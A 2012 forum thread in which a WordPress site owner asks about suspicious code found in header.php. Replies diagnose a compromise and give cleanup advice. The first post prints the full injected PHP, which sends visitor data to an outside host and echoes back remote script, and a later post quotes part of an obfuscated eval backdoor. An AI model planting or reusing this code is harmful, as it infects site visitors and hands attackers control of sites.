Results 1 to 10 of 15
-
1st Aug 2012, 07:42 AM #1OPMember
Suspicious Wordpress Code
i saw this code in my wordpress website. i was wondering what is this code. Because i cant remember putting this code in my site.
here it is.
<?php $wp_rssh = 'http'; $wp_gt = 'get'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_rssh."s".$wp_gt.".com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>trival Reviewed by trival on . Suspicious Wordpress Code i saw this code in my wordpress website. i was wondering what is this code. Because i cant remember putting this code in my site. here it is. <?php $wp_rssh = 'http'; $wp_gt = 'get'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER; if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){ $wp_gturl=$wp_rssh."://".$wp_rssh."s".$wp_gt.".com/".$wp_gt."/?ip=".$_SERVER."&referer=".urlencode($_SERVER)."&ua=".urlencode($wp_uagent); $ch = Rating: 5
-
1st Aug 2012, 08:09 AM #2MemberWebsite's:
Elite.SO Defendos.com Motionite.comWhere is this exactly located? It seems to be something from RSS/logger.
-
1st Aug 2012, 08:18 AM #3OPMember
its located in Header.php. i searched that code and i found that its a hacking code
check this link http://awake.ro/lightblog/forms-of-w...cking-php.html
and i cant contact the owner of that blog. i was hoping for a solution if its really true. Coz i dnt want my site to get hacked
-
1st Aug 2012, 08:27 AM #4
-
1st Aug 2012, 08:29 AM #5MemberWebsite's:
Nerdy-Tutorials.com Mp3viddown.com Filmlab.euremove the code. if the site and all plugins are functioning then perfect. if the site and only one plugin is not functioning then you got a problem. Or it could be because of your theme..
-
1st Aug 2012, 08:32 AM #6Respected Member
Your Wordpress has been compromised. header.php is not the only file someone has changed.
Check functions, and all major files. Also in wp-include check for wp-log.php, that file probably will have different date of upload because someone has added it.Have fitness or bodybuilding question? Ask Smith!
-
1st Aug 2012, 08:50 AM #7OPMember
in wp-log.php i found this : preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x 61\x74\x65\x28\x62\x61\ . it really looks like i got hacked
-
7th Sep 2012, 02:54 AM #8OPMember
i finally removed the wp-login.php and it worked fine till i see wierd Crawl errors from webmasters tool .
like this : http://www.sample.com/MyPage/1345363990000/1345971325000
whats with the numbers? i only created MyPage. and then i saw a Crawl 404 errors in webmasters toollots of them 300 per day
-
7th Sep 2012, 03:26 AM #9Member
always update wordpress , then u will not receive this hacking codes
-
7th Sep 2012, 03:43 AM #10OPMember
im always up to date. but still this happened
Sponsored Links
Thread Information
Users Browsing this Thread
There are currently 1 users browsing this thread. (0 members and 1 guests)
Similar Threads
-
Help Me Please.. Code PHP Wordpress
By fedro$a in forum Web Development AreaReplies: 5Last Post: 27th Jun 2012, 12:11 PM -
Wordpress Code help
By .nItIsH. in forum Technical Help Desk SupportReplies: 0Last Post: 22nd Jan 2012, 03:22 PM -
[Hiring] Code WordPress Theme
By dima1236 in forum Completed TransactionsReplies: 3Last Post: 23rd Oct 2011, 03:08 PM -
tag code for wordpress
By Majky71 in forum WordpressReplies: 5Last Post: 2nd Oct 2011, 02:02 PM -
Wordpress code help
By RT in forum WordpressReplies: 1Last Post: 20th Dec 2009, 12:34 AM
themaCreator - create posts from...
Version 3.46 released. Open older version (or...